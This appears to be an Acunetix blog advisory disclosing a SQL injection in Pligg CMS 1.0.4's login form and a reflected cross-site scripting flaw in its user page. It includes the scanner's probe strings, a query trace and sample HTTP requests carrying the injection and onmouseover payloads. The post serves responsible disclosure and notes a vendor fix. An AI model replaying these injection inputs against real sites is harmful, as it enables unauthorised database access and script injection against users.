Note: This article refers to an older version of Acunetix. Click here to download the latest version.

While beta testing the latest version of Acunetix WVS v7, we found a large number of security vulnerabilities in various web applications. In the following days we will publish some of these vulnerabilities.  Note that we will not publish vulnerabilities found in applications that are not commonly used or in beta stage.

One of the tested web applications is Pligg;

Pligg is an open source CMS (Content Management System) that you can download and use for free. Pligg CMS provides social publishing software that encourages visitors to register on your website so that they can submit content and connect with other users.

The following web vulnerabilities were found in Pligg CMS Version 1.0.4;

  1. SQL injection in “/pliggcms_1_0_4/login.php“, parameter “email“.
  2. Cross-site Scripting vulnerability in “/pliggcms_1_0_4/user.php“, parameter “category“.

Technical details about each web vulnerability are below;

1. SQL injection in “/pliggcms_1_0_4/login.php“, parameter “email“.

Source file: /var/www/pliggcms_1_0_4/libs/db.php line: 222

Additional details:

SQL query:

SELECT * FROM `pligg_users` where `user_email` = '1ACUSTART'"*/rn     ACUEND' AND user_level!='Spammer'

“mysql_query” was called.

Stack trace:

1. ezSQL_mysql::query([string] "SELECT * FROM `pligg_users` where `user_email` = '1ACUSTART'"*/rn     ACUEND' AND user_level!='Spammer'")
2. ezSQLcore::get_row([string] "SELECT * FROM `pligg_users` where `user_email` = '1ACUSTART'"*/rn     ACUEND' AND user_level!='Spammer'")

Sample HTTP Request:

POST /pliggcms_1_0_4/login.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Content-Length: 68
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=4c7d8e111f3ec5e90e664e26f365cc04; mnm_user=tmp; mnm_key=dG1wOjIyZkpqa1BveUhCVFE6NWY1YTg5NTJkYzUzODI4NGYwOTA0Y2Q0NTUzNzk5NDE%3D; template=wistie
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

email=sql'injection&processlogin=3&return=%2fpliggcms_1_0_4%2f

acunetix wvs sql injection pligg cms

sql injection pligg

2. Cross-site Scripting vulnerability in “/pliggcms_1_0_4/user.php”, parameter “category”.

Attack details

URL encoded GET input categorywas set to ” onmouseover=prompt(938687) bad=”
The input is reflected inside a tag element between double quotes.
The input is reflected inside a tag element between single quotes.

Sample HTTP Request:

POST /pliggcms_1_0_4/user.php?category=%22%20onmouseover%3dprompt%28938687%29%20bad%3d%22&id=&keyword=Search..&login=&module=&page=&search=&view=search HTTP/1.1
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=4c7d8e111f3ec5e90e664e26f365cc04; mnm_user=tmp; mnm_key=dG1wOjIyZkpqa1BveUhCVFE6NWY1YTg5NTJkYzUzODI4NGYwOTA0Y2Q0NTUzNzk5NDE%3D; template=wistie
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)

username=

xss pligg

These vulnerabilities were reported to the Pligg team on 22/7/2010 via the contact form from their website and they were fixed in latest version of Pligg.  If you are using Pligg, download the latest version from their website.

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THE AUTHOR
Bogdan Calin

Acunetix developers and tech agents regularly contribute to the blog. All the Acunetix developers come with years of experience in the web security sphere.